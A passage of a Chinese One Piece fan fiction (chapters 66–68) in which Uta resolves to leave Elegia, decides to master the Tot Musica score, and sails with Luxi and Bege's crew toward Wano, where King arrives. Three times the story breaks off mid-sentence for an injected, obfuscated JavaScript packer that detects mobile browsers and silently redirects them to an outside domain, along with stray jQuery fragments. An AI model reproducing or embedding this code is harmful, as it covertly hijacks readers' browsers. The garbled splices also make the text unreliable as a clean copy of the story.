“路希以前说过……她想当世界之王，要创造一个全新的，她所满意的世界。” “呃……你确定不是海军王之类的吗？” “哈哈哈哈，或许吧……”乌塔仰起头哈哈大笑，双眼直视着天空，笑到眼泪落了下来，“总归，她一直在走自己的路，不是吗？既然这样……为什么又要对我说，会和我一起留下来呢？” 芙丽那看着乌塔流泪的侧脸，轻声说道：“或许，因为她是为你而来。” “什么？” “她偷溜上我们的船，伪装成船精灵，只是为你而来。”芙丽那忍不住笑了出来，“我们本来是想去和之国的，贝格笨蛋，还想要挑战四皇……不过她是我们的船长，我们只会一直跟着她走下去。然后船精灵出现了，告诉我们狗狗之神的旨意是要去艾蕾吉亚，于是我们与你相遇。” “你觉得……我可以离开这里吗？” 芙丽那起身，留给乌塔一个背影，“谁知道呢？这是你要走的路。不过，去大海上看看吧，去大海上总是没错的。所有的岛屿根部都深扎在海底，所有的岛屿都在海中孕育而成。归根结底，我们都是大海的女儿。女儿在妈妈创造的世界冒险，有何不可？反正不管航行至何处都是我们的家。” “恶魔果实能力者可是被海水厌弃的。” “但是你也变强了，是吧？你强大到即便失去游泳的能力，也能在大海上保护自己。长大的女儿……离家也是成长路上很重要的一环呢。” 乌塔没有说话。 贝格带着十几只兔子回来的时候，乌塔还坐在台阶上发呆，乍一看见对方，贝格下意识心虚，但下一秒她又瞥见乌塔手中的肉干，火速变了脸色。 “芙丽那的肉干！”她悲愤极了，“她果然会偷偷把肉干喂给别的人吃！我就知道！” 乌塔看她一眼，忽然想试着释放一下自己的攻击性。她不想要成为羊羔，她想成为一种更凶猛的野兽，一种不再只能徒劳地等待别人的救助，而是能自己保护自己的野兽。 “我就吃，你能怎么样？” 贝格无助地原地转了一圈，委屈说道：“那你宴会上只能吃一只兔子。我本来抓了两只要送给你的，可是你吃了我的肉干，你不准吃两只兔子了！” “……”乌塔觉得自己没法和贝格交流，她腾地一下站起来，指着贝格说道，“兔子精灵才不会吃兔子！” 路希从海上抓了一只海兽回来时，乌塔和贝格还在吵架，贝格的船员们倒是忙活完了，很悠闲的在一旁观战。 路希把海兽扔到一边，看着眼前的情况懵了会，悄声问芙丽那，“她们在吵什么？” 芙丽那淡定回答：“兔子与狗到底谁才是最强。” 路希：“？” 她果断加入战局：“我觉得我才是最强！” 贝格&乌塔：“……！” 贝格火速转移炮火：“不对，不对！你不是，你……” 贝格张了张嘴，试图举例反驳，随后惊恐地想起她一直以来都没打过船精灵。乌塔还等着贝格说点什么呢，结果对方却颓然退场。可恶，没用！她迅速接替贝格出战。 “还记得吗，路希，以前在风车村，我们卖果汁比赛，你卖出去的果汁从来没有我卖出去的多！” “哇……” 贝格与其她围观人士发出惊叹的喊声。 路希：“……因为我本来想让路飞那个笨蛋喝掉你的果汁，结果他每次都被你骗着喝了我的果汁，导致最后我能卖的果汁没有你的多。” 贝格落井下石：“船精灵你找人作弊都赢不过兔子精灵，你没有用！” 芙丽那捂住贝格的嘴，眼神示意着自家船员一齐把她拖走……船长啊，这话咱可不兴说。而且留点空间给她们两姐妹谈话吧。 贝格：“唔唔唔呜呜%……&*” 贝格被拖着远走，空气一下子就安静了不少，路希挠挠脑袋……怎么一下子就走光了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480186|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，难道她在海贼心中真有这么可怖？不过她很快就明了芙丽那有其它用意，因为乌塔的神情变了。 原来吵闹的氛围消失后，乌塔那股随着氛围涌起的好胜情绪便也缓缓淡去，她看着路希，意识到现在这里只有她们两个人。她抿着嘴，转移了视线，一时竟不知该说些什么。 “刚才那些话，挺可笑的，是吧？不过是卖果汁赢了你而已，你可是在南海掀起了那么大一波浪潮。” 她握着自己的手臂，有些尴尬地找补。 路希轻轻踢着地面上的小石子。“海贼是海贼，卖果汁是卖果汁。虽然我不想承认，但你果汁确实卖得比我好。” 乌塔被这个回答逗笑了：“你总是会为我说话。” “我们是姐妹，也是好朋友。” “因为这个理由，即便撒谎，也要安慰我吗？”乌塔不等路希回答，接着往下说，“你是个很好、很厉害的海军，未来一定能走出了不起的路。这样野心勃勃的你，不会留在艾蕾吉亚的。那是个很美好的谎言，谢谢你，路希。” 路希却摇摇头。 “不，我会留下来。因为你在伤心，乌塔。如果我连让你快乐起来都做不到，那我是没法顺利走下去的。” 乌塔温柔地望着她。 “路希，你不应该留下来，我并不是你的责任。离开艾蕾吉亚，去外面，去海上吧，你要在那里让你的道路一直延伸下去。” “那你呢？” 乌塔沉默许久，终于问出那个深藏于心的问题。 “路希，你认为艾蕾吉亚是怎么毁灭的？真的是香克斯他们干的吗……虽然这样说好像显得我对他们还抱有很多期待一样，但是，无端的毁灭一座岛屿，确实不像他们的性格。” “你想要知道吗？” “这种语气……你知道答案，是吗？” “我确实知道答案，并且，戈登也清楚真相。” 乌塔闭上双眼，声音颤抖。 “路希……说下去……” 路希沉默片刻，如她所愿。 “香克斯他们不是毁灭艾蕾吉亚的凶手，戈登也不是，岛上死掉的人们也不是。那个晚上，有一个恶魔被召唤出来，毁灭了艾蕾吉亚。” “那么……” 似乎有一个答案近在眼前。态度诡异的红发海贼团，沉默寡言却不敢过于靠近她的戈登，那场这么惨烈的战斗……她是怎么熟睡到战局结束，中途竟未被任何响动吵醒？ 是啊……这么明显的异常摆在她眼前，她直至今日才发现。她是岛上唯一的恶魔果实能力者。 “是……” 乌塔准备说出那个答案，路希却上前一步，食指竖在了她嘴前。 “我们去外面看看吧。” “什么？” “我说我们去外面看看吧，就现在。” 不等乌塔拒绝，她直接变幻出羽翼飞了起来，路希抱住乌塔，将她带往高空。底下的艾蕾吉亚，房屋、树木、动物、贝格海贼团的诸位，一下子变得无比渺小。 天空近在眼前。 路希带着她飞得很高很高，乌塔朝着远方眺望，是星星点点的岛屿与看不见尽头的海面。 “大海很广阔，是吧。艾蕾吉亚是我来到新世界登陆的第一个岛屿，但全世界的岛屿有数万个呢。” 路希又带着她俯冲向下，她们靠近波光粼粼的海面，乌塔看见时而有鱼跳跃出来，结伴而行。浪花朵朵，她听到鱼群在窃窃私语，大海有属于自己的歌谣。 一直这样飞行对她的体力消耗很大，乌塔已察觉到对方的脸色苍白，可路希仍然没有停下来的打算。 海风吹拂，在这种速度下本应尖锐地刮过她的脸，却被路希召唤出来的植叶挡住。在这种疾速的飞翔下，乌塔感到一种久违的自由。 她像是撞破一扇一直挡在她身前的大门，又像是打碎了重重压住她躯体的石头，过往那些灰暗的、黏稠的、无声无息缠绕住她的锁链在这猛烈的风中被吹得一干二净。 她的躯体无比轻盈，能随心所欲飘至各处。她是这照耀的日光、是漂浮的白云、是自在的海流，她是不被束缚的一切。 在这吹净一切的狂风中，路希的声音传来。 “乌塔，我希望你可以一直唱着歌。但是，我不想要你总是唱着快乐的歌，那些为了让别人露出笑容唱出的歌。我希望你能够自由地唱歌，愤怒地唱歌，不甘地唱歌，委屈地唱歌，带着恨意地唱歌。我希望你可以带着各种各样的情绪唱歌，不止是为听到你歌声的人，也是为你自己。” 在这种时刻，乌塔终于有一件可以肯定的事。她回抱住路希，流着泪，却带着笑容喊道：“路希，我要离开艾蕾吉亚！” 空无一人的岛屿终究无法承载住她所追逐的梦想，亡魂与那被抛弃的过往再难束缚住她。她已决意踏上一条看不见尽头的道路，能够让她倒下的只有她自己。 路希带着乌塔重新落在艾蕾吉亚的海岸。 乌塔弯下腰，拾起地上的沙砾，接着又任由它们从手中滑走。她凝视着它们，像是透过这些沙砾看着亡者的骨灰。 艾蕾吉亚的土地下埋葬着诸多白骨，因她而死的人们。 “路希，我得举行一场葬礼，一场艾蕾吉亚的葬礼。” 乌塔轻声说道。 这场葬礼本应于三年前就该举行，却因种种原因拖延至今日。 毁灭艾蕾吉亚的恶魔……管它呢。她总会看到那个夜晚的真相，答案已如此的鲜明放在眼前，虽然她还暂时无法揭开幕布。但总归，她的心中已经知晓了事实。 “我将永远记住那些死去之人，我将永远背负她们戛然而止的人生与梦想。在这本不应停止歌声与乐曲的岛屿，是我召唤的恶魔毁去一切。可歌声永不停歇，因我不允许自身停下步伐。我将坚定向前走去，带着初次抵达那日被唤醒的古老基因的歌声。作为毁灭与传承者，我会为艾蕾吉亚带回一切。” 因此，她必须在这里踏出第一步，即接受死亡，接受过往。她会带着这些亡者活下去，坚强的，微笑的，绝不会轻易倒下的。亡者们的灵魂会成为她崭新的歌声力量，她的过往会成为她新生的食粮。 因此，乌塔，唱歌吧，她想，她要一直一直唱下去，唱到那个毁灭的恶魔再次被召唤出来。然后，她会攫住恶魔的脖颈，迫使它仰视自己，她要站在它的身躯之上，将它的力量化为自己的力量，她要毁灭不在，恶魔不存，死亡消失。她会救下所有听到她歌声的人。 这座音乐之岛，艾蕾吉亚，注定在未来复活。 她是艾蕾吉亚新生的国王，她既带来毁灭，也势必带来重生。 67.艾蕾吉亚 艾蕾吉亚的音乐教堂挂上了白布，乌塔正弹着钢琴。 她弹了一下午，不曾有片刻停歇，岛上的所有活人都聚集在门外，默默听着音乐声。乌塔拒绝了她们进来，即便是路希，也没有得到允许。 没有人对此抱有意见，大家都知道她在弹给谁听。 演奏完毕，乌塔站在教堂正中央，深深鞠躬。 “对不起，再见。” 就这样，她在艾蕾吉亚的生活结束。 那个夜晚宴会照常举行，作为启航的庆贺。乌塔第一次学习如何处理海兽的尸体，海兽是之前路希捕回来当做餐点的，乌塔脑中再一次刷新了这个小她两岁妹妹战力的认知。 她也得加把劲才行。 武力的差距一时难以弥补，至少可以从其它方面努力。 芙丽那她们带着乌塔认识海兽身体上的各个部位，表皮、内脏、胸肉、哪些是不能吃的……她戴上了专门的手套，不过即便如此，处理时仍有些血水透过手套渗了进来，冰冷黏稠。乌塔亲密地接触死亡。她有些手忙脚乱，不过兴致丝毫不减。 这也是掌握了一门生活技能呢，她暗暗地想，心生些许小骄傲。以后在外冒险，可以让路希负责打猎，她来处理猎物的尸体。 她走着走着，忍不住开始跳跃着前进。她发现快乐不是什么难事，风摇草色，日照松光，世界对她发出邀请。 很快有第一个女人跟随着她的步伐舞动了起来。 踢踏踢踏。踢踏踢踏。 烤肉的女人左脚重重踏在地面，重音。切菜的女人手中菜刀挥舞出残影，轻音。一个女人握住另一个女人的手，相视一笑，身影自由旋转。 艾蕾吉亚再度成为一座舞台，三年前沉寂下去的音乐此刻轻轻响起。 众人点起篝火，海浪哗啦啦作响，乌塔与海浪一同歌唱。地上的影子汇成一艘巨大的船，追随着月光奔向海面。 离去的那日，戈登选择留在艾蕾吉亚。 虽然贝格大发慈悲地看在乌塔的面子上，允许戈登暂时上船，然后把他送到有活人的岛屿放下去，但戈登拒绝了。 托特姆吉卡的乐谱还在这座岛上，他是这么说的，他要看守这份乐谱。 乌塔并未带走托特姆吉卡的乐谱。 关于托特姆吉卡，离开前，路希和乌塔，以及芙丽那三人又好好研究了一番。戈登带她们去了封存的地下图书馆，高悬的天花壁刻着古老的文字。 路希看着这些纹路陌生的图案，凝重道：“你们看懂了吗？” 芙丽那和乌塔异口同声回答：“没有。” 路希松了口气：“太好了，还以为只有我一个人是文盲。” 戈登默默解答：“这是古代文字……” 路希瞅他一眼：“古代文字是什么？你认识？” 戈登：“不认识。” 空气安静的可怕，戈登紧急找补：“不过，口耳流传的故事，即便不认识，我多少能理解上面的内容。” 路希大方地给戈登一个自由发挥口才的机会。 总之，故事的内容大抵是这样的。 古老的传说，某一日，召唤托特姆吉卡的乐谱被写下。托特姆吉卡是一种思想的集合体，从遥远的古代流传至今，绝望、恐惧、迷茫……汇聚了种种负面情绪，又被称之为魔王。 然而，谁写的，如何写的，为何写下？这一切都是谜题。 芙丽那思忖半响，说道：“虽然是思想的集合体，却只有负面情感吗？勇气、喜悦、好奇……这些正向的情绪都消失去了哪里？” 路希大胆假设：“可能被魔王吃了。” 芙丽那忍不住吐槽：“正面情绪也太弱了。” 路希叹气：“哎，当好人没出路。” 芙丽那：“……那你还当海军？” 路希：“说明海军内部也不是什么好东西。” 芙丽那：“……” 乌塔没有加入她们的插科打诨，在思考过后提出新的疑问：“托特姆吉卡的乐谱，究竟是自己形成的，还是同传说中说的那样，是人为写下的？” 戈登：好问题，但是他答不出来。 路希和芙丽那同样没法给答案，只能各自作出推测。 芙丽那：“涉及到这种超出常理的东西，我更倾向于是自然形成的，就像恶魔果实。我们都不清楚这种果实从哪里来，为什么能给人类各种奇妙的能力。但事实上，它就是出现了。而托特姆吉卡同样拥有着超乎寻常的力量，或许，它们来自同一处地方也说不定呢。” “但倘若是这一种，那便说明一件事，即毁掉托特姆吉卡的乐谱，类似的灾难也无法彻底消失。迟早有一日，它会再度形成出现。” 路希的想法与她有点不一样。 “我倒是觉得，托特姆吉卡是依赖于歌歌果实出现的。”她说出自己的考量，“毕竟思想这种东西是无形的，一种概念性的产物。但是借由歌歌果实，它诞生出了自己的形体。因为文字是思想的载体，歌词同样。” 路希开始比划起来。 “拿湖泊举例，有这么一处洼地，它本来什么都没有。后来，随着时间推移，气候循环，这片洼地渐渐蓄起了水，这就是最初的托特姆吉卡。托特姆吉卡拥有可怕的能力，却无法主动发起攻击，也不存在任何意识。因为它不能移动，困在了洼地。这个时候，它就是一处普通的湖。” “可是后来，有人类带着道具出现了，那就是歌歌果实能力者。人类利用道具，将湖泊的水引了出去，湖泊就这样与人类建起联系。它顺着自己的本能行事——破坏。或许一开始，它根本没有这么强大，歌歌果实能力者可能还可以通过歌声控制它。因为它只是一种思想，它可能也没法到现实世界，因为它只能被歌歌果实召唤出来，只存在于歌歌果实创造的精神世界。” “但是，思想是可以壮大的，因为思想具有传染性，托特姆吉卡吸收着人们的恐惧、绝望，在人们心中树立一个事实——它是魔王，是毁灭性的灾难。它不再是一种概念性的存在，它有了自己的形体，乐谱就是它的载体。它依赖于歌歌果实能力者存活。而这个时候，它便有了自己的弱点——人类可以攻击到托特姆吉卡，它可以被打败。” “同时，也可以通过烧掉乐谱的暂时毁去它来到人间的通道。不过关于这点，我和芙丽那持相同意见，只要还有人唱着歌，乐谱就会再度出现。因为思想是不灭的。” 乌塔怔神，陷入自己的思考。 “是吗……是这样啊，你和芙丽那说得都很有道理。”她忽然问向戈登，“戈登，我问你，那个夜晚，香克斯他们是怎么打败托特姆吉卡的？” 骤然被问起那个夜晚发生的事，戈登有些慌乱，但很快调整好情绪，小心地回答道：“严格来说，他们并没有打败魔王。他们只是坚持到你体力耗尽，昏睡过去，那之后，托特姆吉卡就消失了。” 然而乌塔却仿佛从他的回答抓住了什么，语气激动起来。 “对的、没错……托特姆吉卡果然是可以掌控的。那个时候，我毫无准备，没有经验，作为儿童而言，心灵与身体不管哪方面都很脆弱，因此托特姆吉卡轻而易举控制了我。维持着‘我’的思想被托特姆吉卡的思想占据，我成为了它的提线木偶。但是——昏睡的人大脑停止运转，思想在那一刻消失，托特姆吉卡难以维持形体的存续。” “哈哈、哈哈哈……我根本没有必要害怕托特姆吉卡，只有我存活着，托特姆吉卡才能降临到这个世界上！” “戈登，把乐谱拿给我。” 乌塔发出命令。 “什么、这……” “没关系，给我。在我一无所知的时候，它可以劝诱着我唱出来。但它从来都不能主动控制我唱出来。” 乌塔心意已决，戈登自知扭转不了对方的心意，何况旁边还有两个人盯着他呢。他把乐谱从收容的地方小心翼翼地拿出来。 乌塔接过这个装着乐谱的盒子，安静地看了它几秒，随后不再有片刻犹豫，果断打开。 乐谱安安静静地待在盒子里， 路希看着乌塔拿起乐谱，盒子咣当一声掉在地上，声音在这片空荡的空间不断回响。芙丽那轻轻扯了下她的衣角，路希微微摇头，示意对方别紧张。 她愿意相信乌塔。 乌塔心情复杂地注视着手中的乐谱，喃喃自语，“这就是召唤的乐谱啊……” 忽然，出乎在场所有人的意料，她自中间将乐谱撕开。然而撕到一半，她又停下了动作。乌塔举着半裂的乐谱，转头看向路希，两人相顾无言。乌塔的嘴唇动了动，终于能说出话：“看……毁灭岛屿的魔王，是这么的脆弱。” 生与死，皆随她心意。 路希微笑着为她送上掌声，乌塔同样微笑着接受对方的赞赏。芙丽那也忍不住笑了起来，她轻声说道：“你是强大的，乌塔。” 是的，她是强大的。 乌塔捡起地上的盒子，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489422|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐谱放回去，重新递交给戈登。 “继续把它收容起来吧。”她说， 虽然，她大概再也用不到它，她已经深深记住乐谱上的每一个音符，每一道旋律的走向。她随时随地能唱出来，不过，绝非现在。 没错，这个世界上存在着这样一个恶魔，出现便会给世间带来灾难。无数人曾因它丧生，但是，它并非无敌的存在。这个恶魔依赖歌歌果实出现在世间，果实能力者是它的主人，聆听着旋律，有位能力者感受到了这无形的存在，它咆哮着、它怒吼着、它吵闹着，它不知道自己是个什么东西，只知道忽然有一日它诞生了，出现在了这个世上。可它哪里都不能去，它分明存在于很多地方，很多人类的心里，可它仍然没有自己的肢体。 直至一日，有个人唱起了歌，那道歌声穿过有形的躯体落了下来，环绕着它，包裹着它，它无知无觉，跟随着歌声的指引，穿过一条长长的通道，正如婴儿穿过母亲的产道。此后它终于拥有了真实的形体，降临人世。 乌塔身心舒畅地离开地下图书馆，朝着地面走去，她蹦蹦跳跳。 “路希，芙丽那，我决定了，我要让托特姆吉卡成为我的武器。” “我会成为世界第一的歌姬。然后，我要创造一首歌，这首歌在我死后也会一直一直传递下去，因为我要那些之后可能会吃下歌歌果实的人们听到这首歌，我要通过这首歌告诉她们：别害怕，别害怕。我们既是魔王的召唤者，亦能成为魔王的掌控者。” 路希也蹦蹦跳跳的跟她一起走，“魔王，超酷的耶——！” 乌塔语调高昂：“是吧！” 芙丽那仿佛看到了二号贝格的诞生，有些发晕，吐槽道：“就不能召唤个天使之类的吗？这世道恶魔根本就是一茬一茬的长啊，不缺。” “天使……？！”乌塔反复咀嚼着对方的话，“对啊，芙丽那，你说的太有道理了。” 芙丽那：“啊？” “既然魔王可以召唤出来，那为什么天使不可以召唤出来呢？思想的集合体……如果托特姆吉卡是恶念的形成，那么善念完全可以是天使。一定也存在着能链接到天使的歌声与乐谱——！” “芙丽那，你太聪明了。”乌塔热烈地夸赞着她，“就这么决定了，吃下歌歌果实的其中一个能力者创造魔王，而吃下歌歌果实的另一个能力者会创造天使。魔王打倒敌人，天使愈疗心灵的伤痛。而我——” 而她是什么呢？ 有风穿过林间拂面而来，路希走在她的前面，漫不经心说道：“创造天使的？那你就是上帝呀。” “我是上帝？！”乌塔怔了一秒，随后再也忍不住笑声，“没错，我是上帝，上帝是个女孩！” 芙丽那：“……” 从她长期照顾贝格的经验来看，这世界恐怕又多了一个能将它翻天覆地的存在。不过这种事情又有什么所谓呢，她情不自禁地露出微笑想到，上帝是个女孩，这种事情又有什么所谓呢。 终于一切尘埃落定，到了离开艾蕾吉亚的时间。 乌塔最后一次问道：“戈登，你真的不离开吗？” “嗯……就让我留在这里吧。我生来就在艾蕾吉亚，是这里曾经的国王，让我陪着我曾经的国民吧。何况，在你离开的这段时间，我也有责任看管托特姆吉卡的乐谱。” 对方意已决，乌塔不再尝试说服对方，每个人都有每个人的坚持。 贝格的船扬帆，乌塔看着远方的海面轻轻哼唱着歌曲，戈登站在艾蕾吉亚的海岸，目送这艘海贼船远行，直至船只的身影消失在视野。 乌塔一次都没有回头。 无论如何，她所行之路在前方。 “所以，我们接下去要去哪里？” 航海士芙丽那看着再次恢复船精灵打扮，并叮嘱乌塔接下去别叫她真名的路希，心中有不好的预感。 这个海军怎么看起来还没有离船的打算呢？分明找回了姐姐，于情于理，都没有继续待在海贼船的理由。把乌塔带回海军本部安置才是她要做的事情吧。现下看来，怎么一副要久留的准备，连真名都不给人叫。 她的眉头跳了跳。 “去哪里？”听到对方的问话，路希转过身体，理所当然地回答：“当然是和之国啦。” 真是的，怎么去了艾蕾吉亚一趟，芙丽那就把这事忘了呢？哎，路希无奈地想，贝格海贼团果然船员随船长，一个靠谱的人都没有，想发展起来还是得靠她这个外来人啊。 68.和之国 “和之国是个什么样的地方？” 乌塔盘腿坐在甲板上，好奇地问路希。贝格变成米格鲁犬的形态，趴在她头上时不时咬着头发玩。乌塔感到几分困恼，在考虑要不要剪成短发，但又觉得这种情况十分有趣——有只小狗正喜欢着她。 路希整个人都被绿色的藤蔓围住，藤蔓晃了晃，有道声音从里面传来。 “不太清楚。” 和之国闭关锁国多年，早在凯多占据之前，便久不与外界产生联系。而凯多霸占此地后，同样没有开国的打算。世界政府忌惮四皇的力量，从不敢轻易引发冲突。 “不过好不到哪里去吧？”路希不太确定地说道，“毕竟是四皇的地盘。” “四皇又是什么？” 于是路希好好的为乌塔讲解了一番海上目前的形势，贝格听到睡过去，乌塔倒是认认真真全部记在脑子里。 “哇啊，我们接下去是要到敌人的领地深入冒险！” 乌塔感叹道。 路希重重点头：“嗯！” 除了探查敌人的情报，路希去和之国，还有另一个原因。和之国是古伊娜祖辈的故乡。古伊娜说，和之国大抵没什么女剑客存在，现在居然有机会，不妨就让她代替古伊娜去那里看一看，和之国的真正情况。 芙丽那身上有着七武海哈纳夫扎给出的生命卡，因此不用在其它岛屿多做停留，海贼船如同当初驶向艾蕾吉亚那般，目标明确地朝着和之国航行而去。 虽说如此，路上倒还是碰见了几次恶劣气候，乌塔好好见识到了什么是比船身还大的冰雹雨。 “哇啊啊啊啊啊——！” 她发出不知是兴奋还是害怕的尖叫声，总之脸上的笑容倒是很开心，眼神里充满着对接下去旅途的期待。 “路希、不对，小希，我好开心啊！” 声音长久地在海上盘旋不散。 闯过冰雹雨，她们距离和之国越来越近。路希曾在海军了解过和之国的地势情况，与一般岛屿不同，和之国的正面入口被悬崖包围，没有所谓的外海，而自悬崖上，瀑布倾斜而下，气势汹涌。 想要进入和之国，必须得逆流而上，翻越瀑布。 “简直就像是另一座颠倒山。” 一波接一波的浪潮声中，芙丽那顶着灰暗的天气喃喃自语。昔日她们从西海进入伟大航路，也是这样逆流而上，若说经验，是有的，只是眼前情况比颠倒山更为复杂。 颠倒山上她们还可顺着海流一路直冲往上，然而眼前的瀑布可没有如此海流。倒不如说，愈是靠近，愈不能用海这个词来定义周围的水流。 海水接近透明，与其说是海，淡水这个词更加适合，间有数米长的鲤鱼游于其中。路希越看越喜欢和之国的地势，太适合用来抵御外敌了，看来四皇凯多的眼光不错，她可以勉为其难夸一下他。 芙丽那大声问道：“我们要怎么上去？！” 她们的船可飞不起来，看起来简直是个死局。 路希观察着周围海域的情况，礁石耸立，能看到上面安置着大炮，不过眼下并未有对她们发射的打算。哈纳夫扎应当提前联系过凯多，告知有新人想要投奔他，贝格海贼团暂时属于友方。 然而，四皇显然不需要弱小的属下。如果连入门这关都闯不进去，那不如直接葬身大海。但她们的船上还有一颗动物系恶魔果实要送给凯多，作为投诚的诚意。倘若她们坠入海中，恶魔果实自然也被海水吞噬。 路希思忖片刻，说道：“再等等。” 有一只章鱼不知何时登上了船，有节奏的用自己的触手敲击着头部。芙丽那她们警惕地盯着这只章鱼，贝格看了对方一眼，说道：“没敌意。” 她总是能敏锐的察觉出这些。 乌塔同样地打量着周围的情况，寻找突破的机会。她的双眼紧紧盯着那些鲤鱼，鲤鱼们和章鱼一样，攻击性薄弱，然而，它们的前进速度却只快不慢。 乌塔看着鲤鱼们恍若炮弹一样向前游去，忽然间，在瀑布下方，它们一跃而起。在那瞬间，乌塔想到的是，它们即将要被湍急的水势击沉，徒劳无功的再次返身继续游动。然而，情势再变。 鲤鱼们跃上了瀑布，丝毫未因水流产生颓势，坚定地朝上游去。 “这里的鲤鱼可以游上去！” “嗯。” 她一下子想到了办法，回应她的是路希冷静的声音。显然，她也看到了鲤鱼们的情况。森森果实可以召出藤蔓抓住这些鲤鱼，亦可以用船舱的绳子套住这些鲤鱼，迫使它们带着海贼船上游。 “那我们……” 乌塔的话尚未说完，眼角余光看到一抹黑色的火焰。 有翅膀的扇动声。 是谁？在她冒出这个疑惑的时候，视线也自然而然向着那道黑色的火焰看去，只见高空之上，有一只背部燃着火的黑色翼龙朝她们飞来。 “炎灾·烬。” 一直待在艾蕾吉亚，与世隔绝的乌塔自是认不出来这个人，但船上的另两个人，路希与芙丽那，倒是第一时间叫出了对方的名字。 四皇凯多的右手，百兽海贼团的大看板，三灾之首。 是他来也不奇怪，路希心想，毕竟眼下的情况，想取走恶魔果实就得飞着过来。凯多倒也会飞，但路希多少有点自知之明，贝格海贼团还没有这种让他亲自迎接的实力。而除此之外，百兽海贼团内已知会飞的人员只有烬。 作为凯多忠诚的手下，替他走这一趟理所应当。 在贝格海贼船刚驶进和之国的这片海域时，负责监控的工作人员就发现了她们。周围的礁石不仅放置着炮弹，也放置着监视用电话虫。叫来老大奎因，确认过海贼旗与船上人员，是准备加入百兽海贼团的人，奎因便干脆坐在监视影像前，看着这艘船能否成功抵达和之国。 只有活着的攀越瀑布的海贼才能加入百兽海贼团！ “不过来的有点慢啊，”奎因嘟嘟囔囔，“按路程应该早几天就能到了……嗯？这个海贼团船上绿绿的是什么东西……还是人？以前有吗？” 奎因不解，但没人能给他答案。 贝格海贼团并非全部人都有赏金，百兽海贼团的人也不会专门一个个调查过去，因此有陌生的面孔再自然不过，奎因继续看着监控，“吼，这海贼团居然还带小孩。” 看起来也就十二三岁的模样，他一个手指头就能弹飞，眼神倒是坚定，一点儿都不带害怕的。这年头，当海贼也要卷年龄了。奎因很是感慨。 海贼船上的人看起来还未发现登上瀑布的办法，奎因跟自己的部下打起赌来，“你说她们是能活着来呢还是死了当鲤鱼的食物呢？” “啊？这、这个……” 实在不好猜啊。 “你在猜什么无聊的东西？” 烬悄无声息地出现，奎因翻了个白眼，一指监视屏幕，“你不会自己看吗？蠢货烬。” 烬看了一眼，烬理解了情况，烬转身要出去，留下奎因困惑的神情。 走出大门前，烬决定还是在智商上碾压下奎因，说道：“白痴奎因，她们船上带着交给凯多先生的恶魔果实。” 这就是烬飞到这里来的原因，这艘海贼团的生死无所谓，在这点上，他和奎因持同等态度，百兽海贼团不需要弱者，但恶魔果实还是要的。 他的黑色羽翼晃动着，无齿翼龙口吐人言，“把恶魔果实交出来。” 芙丽那下意识看向路希，随后觉得不太对劲，马上转向贝格。贝格在察觉到烬的一瞬间便进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493488|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了备战状态，这个人很强，非常强，比船精灵还要强，求生本能告知她最好不要与此人为敌，然而渴望战斗的心却让她跃跃欲试。 贝格努力克制着这份欲望，直到提起恶魔果实，芙丽那看向她。 贝格回忆了一会，从疙瘩角落里翻出这件事，哦，当初好像是准备带着恶魔果实假意投奔凯多来着。 她干脆利落一挥手，“给他。” 立马有船员遵循她的指令从船舱里拿出恶魔果实，烬不等对方递交——何况他现在也没手拿——他直接飞了过去，空气里的温度骤然升高，夹杂着火焰的气息，威压渗人，路希护住乌塔，退至一旁。 她同贝格一样，也想和这个人打一架，不过理智告诉她，目前还是尽量远离这个男人为好。她注意到烬身上的火焰，心生几分好奇，无齿翼龙这种生物，自带火焰吗？ 烬用嘴巴夹住恶魔果实，随即飞离海贼船，未发一言，毕竟嘴巴含着东西，实在不好说话。 芙丽那先前被烬飞行产生的气压所制，击飞在甲板，此刻看着对方远离的背影，不由得恶毒的想：最好这个所谓的炎灾一不小心直接吞下恶魔果实，然后外来的恶魔果实之力与体内的恶魔果实之力相撞，就能直接死翘翘！ 嗯……虽然这样她们可能也要受到牵连一起下黄泉。她打了个寒颤，看向路希：“现在可以攀登瀑布了吗？” 路希点点头。 乌塔当即自告奋勇：“我去拿绳子。” 路希走向船头，回道：“不用。”她站稳身子，补充道，“照顾好你们自己，接下去我们要直冲上去了。” 话音落下，有数十道藤蔓自她身上飞出，目的地明确的袭向新一波准备登崖的鲤鱼们。藤蔓准确的落在鲤鱼的身上，紧紧缠绕住它们，尝试挣脱，未果。鲤鱼们疯狂挣扎起来，路希毫不吝啬自己的力量，释放了一小部分霸王色霸气，一字一句道：“给·我·好·好·听·话！” 寒毛直竖，如果鲤鱼也像人类有这种东西，此刻差不多就是这种感受。霸气的威压毫不犹豫地压制住了它们，现在，它们心甘情愿为这艘海贼船攀越瀑布出自己的一份力。 